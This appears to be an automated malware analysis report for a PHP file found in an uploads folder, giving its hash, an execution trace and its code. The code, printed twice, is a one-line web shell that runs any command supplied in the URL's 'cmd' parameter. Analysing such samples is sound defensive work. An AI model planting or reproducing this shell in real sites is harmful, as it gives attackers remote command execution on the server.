PHP Malware Analysis

00000000ax.php

md5: 984299ca8c4e1487a95e6b75a8ac9490

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

exec($_GET["cmd"]);

Execution traces

data/traces/984299ca8c4e1487a95e6b75a8ac9490_trace-1676262818.7558.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:34:04.653612]
1	0	1	0.000238	393528
1	3	0	0.000288	393920	{main}	1		/var/www/html/uploads/00000000ax.php	0	0
2	4	0	0.000331	393920	exec	0		/var/www/html/uploads/00000000ax.php	1	1	NULL
2	4	1	0.000358	393952
2	4	R			FALSE
1	3	1	0.000372	393920
			0.000402	314240
TRACE END   [2023-02-13 02:34:04.653822]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php exec($_GET["cmd"]); ?>